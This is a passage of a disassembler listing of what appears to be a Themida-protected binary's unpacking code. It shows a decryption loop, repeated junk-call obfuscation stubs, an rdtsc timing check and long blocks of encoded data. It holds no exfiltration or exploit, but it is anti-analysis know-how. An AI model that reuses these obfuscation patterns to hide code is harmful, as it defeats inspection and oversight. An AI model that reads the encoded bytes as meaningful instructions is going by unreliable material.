		shr	eax, 10h
		xor	[ecx+edx+2], al
		add	[ecx+edx+3], ah
		pop	eax
		sub	ecx, 4
		jnz	short loc_5CED1D
		jmp	short loc_5CED53
; ---------------------------------------------------------------------------


loc_5CED38:				; CODE XREF: Themida_:005CED4Fj
		push	eax
		shr	eax, 10h
		sub	[ecx+edx+3], ah
		xor	[ecx+edx+2], al
		pop	eax
		sub	[ecx+edx+1], ah
		xor	[ecx+edx], al
		sub	ecx, 4
		jnz	short loc_5CED38


loc_5CED51:				; CODE XREF: Themida_:005CEDC4j
		jmp	short $+2


loc_5CED53:				; CODE XREF: Themida_:005CED36j
		mov	eax, eax
		push	0
		push	ebp
		call	sub_5CED60
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CED60	proc near		; CODE XREF: Themida_:005CED58p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 17h
		inc	ebp
		push	ebp
		retn
sub_5CED60	endp

; ---------------------------------------------------------------------------
		or	ah, [edi-40998254h]
		adc	eax, 55BD83FFh
		xor	[ebx], dl
		push	es
		add	ecx, [edi]
		test	edx, ebp
		add	eax, [eax]
		add	[ebx+131F2DBDh], cl
		push	es
		cmp	dword ptr [ebp+616C454h], 0
		jz	loc_5CF15A
		or	bh, 54h
		push	dword ptr [ebp+616C454h]
		cld
		call	dword ptr [ebp+6130969h]
		push	0
		push	ebx
		call	sub_5CEDB3
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CEDB3	proc near		; CODE XREF: Themida_:005CEDABp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 15h
		inc	ebx
		push	ebx
		retn
sub_5CEDB3	endp

; ---------------------------------------------------------------------------
		xchg	eax, ecx
		jno	short loc_5CED51
		mov	ch, 48h
		les	edx, [esi]
		push	es
		push	0
		push	ecx
		call	sub_5CEDD6
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CEDD6	proc near		; CODE XREF: Themida_:005CEDCEp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Dh
		inc	ecx
		push	ecx
		retn
sub_5CEDD6	endp

; ---------------------------------------------------------------------------
		push	cs
		xor	bl, ds:13B8B8F7h
		test	[esi-42h], esp
		mov	dword ptr [esi], 10001h
		push	0
		push	eax
		call	sub_5CEE01
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CEE01	proc near		; CODE XREF: Themida_:005CEDF9p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ah
		inc	eax
		push	eax
		retn
sub_5CEE01	endp

; ---------------------------------------------------------------------------
		db 0BEh, 0D7h, 0EFh
		dd 0A43D4D77h, 11E896h,	4E00000h, 0A17BAC25h, 5E748FA1h
		dd 69C1C76Ah, 66929381h, 505BFB8Bh, 56006A96h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1B04h,	0C3564600h, 414031Bh, 39386059h
		dd 88D3E781h, 0B5FF41F2h, 616C454h, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 18h, 5FC35343h, 446C39F4h, 322995FFh
		dd 0CEB70613h, 0C448B58Bh, 0EE90616h, 0E0000000h, 0B185F4CBh
		dd 0E23BFFA1h, 8E5A4984h, 31858B85h, 6A061306h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h
		dd 8B25C353h, 13152DBDh, 68E38106h, 890D9B43h, 0C486h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1904h
		dd 0C3574700h, 25D44F10h, 0BD0B463Ch, 6131985h,	9C9BD8Bh
		dd 0F7810613h, 2CAC4D4Ah, 1BBD958Bh, 0BD890613h, 6132F7Dh
		dd 17699D29h, 0C2830613h, 55006A04h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1704h,	0C3554500h, 56E5F46Bh
		dd 80205089h, 858DFAEFh, 616D8E3h, 8B0Fh, 86890000h, 0B8h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 5C35242h
		dd 0AA157076h, 0DD8AEA24h, 0F380006Ah, 54B5FF58h, 0F0616C4h
		dd 68Bh, 919D8B00h, 0FF061301h,	131E9595h, 52006A06h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h
		dd 5A880FDh, 0D4DEF8FCh, 7E8963Ah, 0D3000000h, 730D342Dh
		dd 0C7B306ADh, 0BF66505Bh, 6A960E84h, 3E85200h,	20000000h
		dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 5E26C352h
		dd 0E598B664h, 0E8B4D0B2h, 6, 0C6E3A4E8h, 9D8BF957h, 6133069h
		dd 54B5FF5Bh, 890616C4h, 1328E9BDh, 4595FF06h, 6A061321h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1A042444h
		dd 42000000h, 0C449C352h, 0B8553F41h, 27BB6606h, 95BD83F5h
		dd 61314h, 45840Fh, 9E90000h, 0A000000h, 0CE16D42Ah, 99729561h
		dd 12EB8166h, 8C0F9636h, 5, 18DC2ABBh, 0F98A5065h, 55006A96h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1504h, 0C3554500h
		dd 81661A38h, 0FF8C72EBh, 16C454B5h, 0B99D8B06h, 8B061310h
		dd 1313C9BDh, 0AD95FF06h, 81061305h, 0FE4125D3h, 54B5FF0Bh
		dd 0E90616C4h, 11h, 0BF49A384h,	671DA23Bh, 7695F91h, 0B32DA003h
		dd 0D9BD292Ah, 0FF061305h, 13120995h, 0DB50106h, 8006130Dh
		dd 0BD839ADFh, 6130511h, 5B840F02h, 89000000h, 1307058Dh
		dd 55858B06h, 6A06130Fh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1C042444h, 47000000h, 0A332C357h,	88EC8B5Fh
		dd 0C6B68142h, 6A0000h,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 190424h, 57470000h, 0DB99C6C3h, 0FCD00F1h, 0BF0FFEB7h
		dd 85C7F5FBh, 6131E51h,	0
; ---------------------------------------------------------------------------
		mov	edi, [ebp+61314EDh]


loc_5CF15A:				; CODE XREF: Themida_:005CED92j
		jmp	near ptr dword_5CDD68+79Ch
; ---------------------------------------------------------------------------
		push	0
		push	esi
		call	sub_5CF16A
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CF16A	proc near		; CODE XREF: Themida_:005CF162p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ch
		inc	esi
		push	esi
		retn
sub_5CF16A	endp

; ---------------------------------------------------------------------------
		fucomp	st(7)
		mov	ebp, 232FC9D0h
		push	esp
		pop	edi
		push	esi
		pop	edi
		push	ecx
		clc
		pop	edi
		mov	eax, ecx
		push	0
		push	eax
		call	sub_5CF195
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CF195	proc near		; CODE XREF: Themida_:005CF18Dp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 18h
		inc	eax
		push	eax
		retn
sub_5CF195	endp

; ---------------------------------------------------------------------------
		sub	[eax], esi
		pop	es
		adc	[ecx], bh
		push	esi
		mov	edi, [ebp+6132FE9h]
		pop	ebx
		lea	eax, [ebp+6131EA9h]
		jmp	loc_5CF1C4
; ---------------------------------------------------------------------------
		db 0C1h, 4Eh, 0EBh
		dd 4C23A7A7h
; ---------------------------------------------------------------------------


loc_5CF1C4:				; CODE XREF: Themida_:005CF1B8j
		movzx	edi, ax
		nop
		push	eax
		push	eax
		push	edx
		rdtsc
		mov	bl, dh
		pop	edx
		pop	eax
		nop
		push	0
		push	0
		push	ebx
		call	sub_5CF1DF
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CF1DF	proc near		; CODE XREF: Themida_:005CF1D7p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 14h
		inc	ebx
		push	ebx
		retn
sub_5CF1DF	endp

; ---------------------------------------------------------------------------
		push	0F5958B60h
		adc	edx, [ebx]
		push	es
		popa
		push	0
		push	0
		push	ebp
		call	sub_5CF205
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CF205	proc near		; CODE XREF: Themida_:005CF1FDp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 16h
		inc	ebp
		push	ebp
		retn
sub_5CF205	endp

; ---------------------------------------------------------------------------
		db 81h,	0CCh, 0Ah
; ---------------------------------------------------------------------------
		jmp	loc_5CF224
; ---------------------------------------------------------------------------
		db 67h,	5Ch, 0DCh
		dd 0A8FE906Dh
; ---------------------------------------------------------------------------


loc_5CF224:				; CODE XREF: Themida_:005CF218j
		lea	eax, [ebp+61830F5h]
		push	0
		push	eax
		call	sub_5CF235
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CF235	proc near		; CODE XREF: Themida_:005CF22Dp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 15h
		inc	eax
		push	eax
		retn
sub_5CF235	endp

; ---------------------------------------------------------------------------
		cmp	al, 0B4h
		add	eax, 5
		push	0
		push	ecx
		call	sub_5CF255
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CF255	proc near		; CODE XREF: Themida_:005CF24Dp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 14h
		inc	ecx
		push	ecx
		retn
sub_5CF255	endp

; ---------------------------------------------------------------------------
		db 74h,	60h, 0Fh
		dd 58Ah, 0D7816600h, 0CE88A9Ah,	59000000h, 514DE381h, 0B1F030DCh
		dd 8924DB26h, 1300A19Dh, 90615B06h, 9E9h, 95A41A00h, 91402D87h
		dd 0E850D782h, 0Ah, 4EBBAC65h, 0B934B9BDh, 66B736DDh, 0FC60905Fh
		dd 2349BD29h, 6A610613h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1D04h, 0C3554500h, 368ECD97h, 19FFCFC3h
		dd 8D896500h, 61306F9h,	0FC8A006Ah, 7F195FFh, 95890613h
		dd 6132849h, 0A36A8D8Dh, 6A0616h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1B0424h, 51410000h, 652D2AC3h, 7ABB0804h
		dd 0FF37B73Ch, 0D18D89D1h, 83061322h, 13173DBDh, 850F0106h
		dd 8Bh,	0B1DB509h, 26A0613h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ch, 0EC35242h, 13164EFh, 34C0C879h
		dd 4985BB90h, 0F502ED6h, 1A84h,	10E800h, 5F670000h, 0C83F7E6Fh
		dd 0AF300156h, 8B6B78D1h, 0BF6666A8h, 905B7420h, 95FFFA8Ah
		dd 6131E95h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Ch,	44C35242h, 4D8FF04Eh, 93C61745h, 6E9h, 0F9119B00h
		dd 0E9812969h, 0E2Fh, 0E8h, 0ED815D00h,	61830FFh, 0BEE216BFh
		dd 8B606023h, 130D8585h, 2A18BA06h, 0F961572Dh,	5E858D61h
		dd 6A06168Fh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1A042444h, 42000000h, 6579C352h, 9215E8E8h, 12BF66ADh
		dd 57DB805Ah, 0CE95090h, 0B000000h, 0EA722CE7h,	8B4FAD12h
		dd 90EDD77Ch, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 17h,	98C35141h, 0FF84F84h, 68Ch, 0F5B58900h,	8B061313h
		dd 35FF64DEh, 0
; ---------------------------------------------------------------------------
		push	0
		push	ebp
		call	sub_5CF467
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CF467	proc near		; CODE XREF: Themida_:005CF45Fp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 17h
		inc	ebp
		push	ebp
		retn
sub_5CF467	endp

; ---------------------------------------------------------------------------
		db 49h
		dd 814CB8EBh, 0EA5D2FD7h, 5E913h, 5EDB0000h, 0F877E07h
		dd 284h, 645F5700h, 2589h, 9D8B0000h, 6132821h,	16D985FFh
		dd 6A0613h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h
		dd 55450000h, 6A1E0DC3h, 519D8907h, 6A06130Dh, 0CE960FFh
		dd 0CB000000h, 75ADB00Dh, 40C57A9Ah, 891051B9h,	132F8D95h
		dd 0B5FF6106h, 6132331h, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 1Ah, 0E3C35040h, 0BE84E2Ch, 95FF9846h, 61331ADh
		dd 16CE9h, 799D8B00h, 0B0061324h, 15C38100h, 0E66F1432h
		dd 80516070h, 0E85E44C4h, 0Fh, 0FD84D6D4h, 4D6D13C0h, 4DA7212Bh
		dd 0F894D76Dh, 71E4615Ah, 48B0Fh, 0BF660000h, 613C8331h
		dd 12B830Fh, 0B60F0000h, 5E8C8h, 70D0000h, 56579227h, 1B018D89h
		dd 5F5B0613h, 14E8h, 0FA4AFC00h, 88FFB8C4h, 127CD8FFh
		dd 5A203C3Fh, 0C7E6A2Fh, 68E0FA4h, 89000000h, 13299D8Dh
		dd 6BA5F06h, 0E9000000h, 11h, 59FCF4F4h, 0F8769D68h, 1150FE88h
		dd 548BE7C0h, 0FC18B87h, 0AE9DAB7h, 0EC000000h,	4FE57FE2h
		dd 0ED646B53h, 4E8C139h, 0FE2F766h, 685h, 0F1958900h, 2B061315h
		dd 0CE8C8h, 41260000h, 46ABB689h, 5D582F38h, 0BD8BAF4Eh
		dd 6133135h, 89D18B5Fh,	131AF9BDh, 87E906h, 9600000h, 130D61BDh
		dd 0C7BF0F06h, 4C858B61h, 89494755h, 132B6985h,	9BD8906h
		dd 83061328h, 0C08307C0h, 0E5BB6600h, 0FD03BE5h, 2783h
		dd 12E96000h, 0
		dd 0BBE30789h, 12FB4977h, 7C46A794h, 51E21640h,	0C38B662Bh
		dd 37E961h, 0BD8B0000h,	6131619h, 0FFFF8D8Bh, 0E183FFFFh
		dd 22840F01h, 83000000h, 0FFFFFFA5h, 0F51FEFFh,	382h, 0F8BF0F00h
		dd 4C95895Bh, 53494755h, 5BFE8B66h, 0E9h, 23B58D00h, 6A0617B2h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 19042444h
		dd 40000000h, 0F213C350h, 97F6F4A6h, 0AFA6E781h, 6A512Eh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 4BC35545h
		dd 95FF0329h, 6130DA9h,	0D0B95F57h, 6A00000Fh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h
		dd 0DA3CC355h, 85D9F132h, 9D8BDA84h, 6130F21h, 6AFCE183h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1B042444h
		dd 43000000h, 0D03CC353h, 2E24EE5Eh, 11E89584h,	4000000h
		dd 0EE903DE1h, 0BDEB6C86h, 20FBC7F4h, 0A719AC63h, 32119D03h
		dd 0FC5F0613h, 23359D8Bh, 0B80613h, 81000000h, 0FF6DAEE7h
		dd 0C9950920h, 2B061300h, 819D8BD2h, 0AD061310h, 0E8D1C233h
		dd 0E983D003h, 89F47504h, 131D859Dh, 0A850F06h,	60000000h
		dd 4046BA66h, 4E52BA66h, 53006A61h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1C04h, 0C3534300h, 4777191Ch, 9367AF16h
		dd 659D33F8h, 0D061325h, 88h, 10E8h, 0C188900h,	958815BEh
		dd 0D7BDF4C3h, 0C4F2D964h, 0DA8B6670h, 0BD958B5Bh, 8906131Bh
		dd 131B4585h, 0DD8D8B06h, 6A061318h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 9771C351h
		dd 0E95D563h, 66408D98h, 387CC781h, 0C28B50F5h,	0C103188Bh
		dd 0C18B188Bh, 0C203E8D1h, 6658188Bh, 6698EF81h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0A0C35545h, 7E045FCh
		dd 0BD83BDC0h, 6131D1Dh, 66840F00h, 6A000000h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h
		dd 25E2C353h, 0E81835FAh, 721ABF25h, 0BB660D3Dh, 0B8825Ch
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1C042444h, 41000000h, 43FCC351h, 533EE39Ch, 8130D6E8h
		dd 0E0EEDFC3h, 8D8D8D06h, 0FF06134Fh, 2BBB66E1h, 55BD8341h
		dd 61330h, 44B840Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1B0424h, 51410000h, 4A1EEDC3h, 0BFE176D4h
		dd 1DBF6643h, 11E9E5h, 10E0000h, 7D0312B8h, 0DE4B29E3h
		dd 65667A45h, 0E963688Fh, 0Bh, 3E1106ABh, 3E936DF1h, 8328C903h
		dd 133055BDh, 840F0106h, 40Ch, 8E9h, 56C3EF00h,	2FE09D9Ah
		dd 55BD83D0h, 3061330h,	3BC860Fh, 0EE90000h, 48000000h
		dd 0F2D5EEB1h, 4DF79888h, 0BDD876BDh, 0BF666053h, 8C6619F3h
		dd 53006AD9h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1804h
		dd 0C3534300h, 63F092B6h, 0D880FFCh, 0E9000000h, 8, 0B688205Ah
		dd 53093624h, 8B04E180h, 132B819Dh, 0FC90A06h, 13884h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1804h
		dd 0C3534300h, 51086A49h, 6860F71h, 89000000h, 131DED95h
		dd 0B9858B06h, 6A06132Bh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1D042444h, 42000000h, 7FD9C352h, 44D4D012h
		dd 59C32830h, 5B98533h,	6A0613h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1B0424h, 55450000h, 0F796F1C3h, 8EE6F70Bh
		dd 81BF6659h, 9E95019h,	0E0000000h, 5A9FBD6Ch, 39975704h
		dd 7E9905Bh, 0EF000000h, 1A8292E8h, 9050D872h, 9FB8B66h
		dd 13320DBDh, 0B3006A06h, 8E81687Ch, 6CBFA582h,	8179C12Ch
		dd 757E2404h, 6A5A9Ch, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1C0424h, 52420000h, 5F0A53C3h, 866D22E8h, 35BB7421h
		dd 0FF00D089h, 130A3D95h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1804h,	0C3574700h, 0F843B888h
		dd 5485894Fh, 8B0616C4h, 130EADBDh, 0B810F06h, 0E9000000h
		dd 6, 9860F9A6h, 0A8E9565Fh, 31000001h,	13237985h, 4C858B06h
		dd 290616C4h, 1325FD8Dh, 1800C706h, 6A000000h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
		dd 616EC351h, 3A5ADD35h, 0E137422Eh, 0C450B58Bh, 0BF0F0616h
		dd 55858BDAh, 8906132Ah, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1704h, 0C3564600h, 8D24101h, 3830Fh, 8B660000h
		dd 0B9858BF8h, 6A06132Bh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 17042444h, 40000000h, 0A1F9C350h,	89F947B7h
		dd 0BD330446h, 61324F9h, 0D1B66050h, 24348961h,	0B5FFF88Bh
		dd 616C44Ch, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 15h,	0D8C35747h, 8E896h, 0F01C0000h,	0D5E8A88Dh, 9D233ECCh
		dd 613177Dh, 0B8BCBF5Fh, 9589309Dh, 61309A1h, 0B1971968h
		dd 0DE8B660Fh, 0E6243481h, 8D0FAE94h, 16C45485h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1904h, 0C3564600h
		dd 6E98D91Ah, 60507508h, 11E8h,	49A38400h, 1DA23BBFh, 695F9167h
		dd 2DA00307h, 11E82AB3h, 0FF000000h, 5BF03AFCh,	51B2CCA9h
		dd 0C40E09DBh, 2E818A0Ch, 0BE665A58h, 89615E07h, 6A2404h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
		dd 0F7BC83C3h, 3AD99C61h, 820FA42Bh, 6,	207D8501h, 95FF0613h
		dd 6130A3Dh, 0D870Fh, 8E90000h,	0D5000000h, 9F9BB7D5h
		dd 618B9368h, 3109BD8Bh, 9D8B0613h, 613259Dh, 305585C7h
		dd 30613h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 170424h, 53430000h, 5A8252C3h, 54BD8309h, 616C4h, 40840Fh
		dd 880F0000h, 6, 0EB5BD29h, 4AE90613h, 6A000000h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h
		dd 0FF0C353h, 78Bh, 1890F00h, 0F5000000h, 0FF18589h, 30500613h
		dd 4400110Ch, 0E8C10111h, 11443010h, 114C0002h,	0E9835803h
		dd 0EBE77504h, 4305036h, 11640011h, 10E8C101h, 2114430h
		dd 3116400h, 4E98358h, 1BEBE775h, 10E8C150h, 3116428h
		dd 2114430h, 11642858h,	11043001h, 7504E983h, 8B00EBE7h
		dd 501CBBC0h, 0BD01330Bh, 6133029h, 3055BD83h, 0F030613h
		dd 46285h, 12E900h, 7C790000h, 0E39DEFBDh, 7B858609h, 6FBDFCB8h
		dd 0F33985ACh, 0C454BD83h, 0F000616h, 43E84h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1904h, 0C3514100h
		dd 3A239568h, 0B5FF547Dh, 616C454h, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ch, 0AEC35242h,	0D869961Bh, 66F62536h
		dd 14E9h, 0B1CAF700h, 0E433BDF8h, 9489BFE7h, 98192714h
		dd 0AEF0A7AEh, 6995FF8Fh, 0F061309h, 68Ah, 71858900h, 8B06131Dh
		dd 16C448B5h, 59D2906h,	0C7061323h, 1000106h, 25BD8B00h
		dd 9606132Ch, 9E8h, 84E1AD00h, 1E77AA86h, 8B66E36Ch, 8B505FDAh
		dd 9D8B96DFh, 613301Dh
		dd 0C454B5FFh, 9D890616h, 6131729h, 322995FFh, 6A0613h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
		dd 92E231C3h, 809F6644h, 0B58B46C7h, 616C448h, 0D6C38166h
		dd 31858B8Bh, 6A061306h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1D042444h, 47000000h, 0BD92C357h,	7BED3E55h
		dd 91F47700h, 919BD8Bh,	8D890613h, 613012Dh, 0EE8h, 0FA150000h
		dd 44C96785h, 0EE92FC97h, 897BBD70h, 131E319Dh,	86895F06h
		dd 0C4h, 0DE9h,	3C2E0C00h, 8864E881h, 23EB6A2Ah, 9D09B130h
		dd 61314ADh, 1BBD958Bh,	6A0613h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 140424h, 52420000h, 0C2839EC3h, 53006A04h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1D04h, 0C3534300h
		dd 0F41F6E79h, 57648579h, 9D33C577h, 61329A1h, 23B98589h
		dd 50890613h, 56006A20h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1604h, 0C3564600h, 89680FFCh, 130D1D95h, 0E3858D06h
		dd 800616D8h, 9D891CDFh, 6131F7Dh, 0B88689h, 6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
		dd 0A1530DC3h, 0BC6E8409h, 0CEBB9030h, 6A30AEFCh, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1904h, 0C3504000h
		dd 492DC609h, 0B5FFF2D1h, 616C454h, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 14h, 2AC35141h, 1601BD09h, 95FF0613h
		dd 6131E95h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 17h,	8FC35343h, 501EC012h, 12E8h, 327EB800h,	6F9C6FADh
		dd 26034DB5h, 967836F5h, 5B1A2A58h, 6A243489h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h
		dd 725DC350h, 0C36345D1h, 0FF76A2AAh, 16C454B5h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1A04h, 0C3554500h
		dd 0CE5C9941h, 60523B8Fh, 2605858Bh, 9D8B0613h,	6130F4Dh
		dd 4BBB6661h, 4595FF6Fh, 8B061321h, 13296DBDh, 95BD8306h
		dd 61314h, 13840Fh, 0CF810000h,	78B2BD48h, 0E7BF6650h
		dd 243489A1h, 7A95E7BBh, 54B5FF0Bh, 6A0616C4h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h
		dd 0FAEC351h, 28Dh, 66DDB300h, 0B55CF781h, 5AD95FFh, 81600613h
		dd 0B7B35AEEh, 0D88B6605h, 54B5FF61h, 6A0616C4h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h
		dd 6625C351h, 0FE8B66DEh, 120995FFh, 6A0613h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 140424h, 56460000h, 0BD8314C3h
		dd 6130511h, 6C840F02h,	6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 0ACF8C356h
		dd 93EA5DDCh, 0E9F1680Dh, 0Ch, 1463486Bh, 66AA1FA4h, 4E6DBAD5h
		dd 0F55858Bh, 6A0613h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 160424h, 57470000h, 329011C3h, 48D0Fh, 60500000h, 0C65B61h
		dd 199D8B00h, 0C7061306h, 131E5185h, 6,	0F98D2900h, 0E906130Fh
		dd 0FFFFF2FFh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 14h,	94C35242h, 164945BFh, 66C18B44h, 8DF8E4BBh, 18402A8Dh
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1804h
		dd 0C3514100h, 0EF056D3Bh, 89C68BF5h, 131BBD8Dh, 13E806h
		dd 376F0000h, 3315EBE4h, 0D28C1ADCh, 2AC4DCA5h,	0E5087E4Eh
		dd 148B0F22h, 0E8000000h, 0Eh, 2278A2CCh, 9DEE71Dh, 0C4B1FE4Bh
		dd 5A5ACE69h, 18DD85C7h, 60240613h, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1A0424h, 57470000h, 950667C3h
		dd 5F5851B1h, 305585C7h, 613h, 0B5FF0000h, 613302Dh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 21C35545h, 0BE905h
		dd 0BCC60000h, 26C82F28h, 64ACA07Ch, 6E95Ch, 4DE40000h
		dd 0A263AE3Ch, 1D8995FFh, 6A0613h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 140424h, 56460000h, 0DA8000C3h, 0FF006A87h
		dd 130DA995h, 0EBC08B06h, 0DCEB8D7Fh, 5BE4A752h, 0A1BB256Dh
		dd 3779A661h, 0BEFE2EBEh, 0F6AEB917h, 0F85A6B99h, 0AC72869Ch
		dd 2320BB1Eh, 0E16C8417h, 91B71BD5h, 24D77DCFh,	0BDFE9F41h
		dd 0BAE847E9h, 0F714E402h, 83EE3729h, 88D2C16Eh, 9086DAF8h
		dd 5889DBD1h, 542A8AA7h, 727E2C4h, 5DC38C61h, 0A6A32B77h
		dd 4A36F75Bh, 0DF5F57FCh, 4A0D1525h, 2499F961h,	5B73FD3h
		dd 99EECE1h, 9409110Bh,	326BF194h, 0E7D04F8h, 41758D8Dh
		dd 8D890618h, 6131BBDh,	85C7D68Bh, 61318DDh, 5A14h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 18C35141h, 83DA0F1Eh
		dd 66B9DD3Ah, 0C7047CBAh, 13305585h, 6,	53006A00h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1D04h, 0C3534300h
		dd 0EF2F45D5h, 0CDEE79FFh, 0BF0F755Fh, 14E9C0h,	0EF880000h
		dd 0FC568DFEh, 0D0461323h, 37616078h, 890CD9B6h, 0B5FF53ABh
		dd 6132831h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Ch,	0D5C35040h, 0F3DCDAAEh,	6E136B20h, 1D8995FFh, 0BD890613h
		dd 6133101h, 95FF006Ah,	6130DA9h, 2FEBC08Bh, 0D227C7B0h
		dd 733E83BEh, 9B134694h, 0B9772B0Bh, 0A365C2CEh, 3DD254B8h
		dd 56AAAF43h, 2BA125B3h, 4326A925h, 0A0D40C8Eh,	98DE54D4h
		dd 8D5DFA7Dh, 18421F8Dh, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1D04h, 0C3574700h, 0AE7ABDE9h, 7C8214B1h
		dd 0FBBE567Ch, 8B12698Ah, 0BD8D89FAh, 8006131Bh, 0DEB477E4h
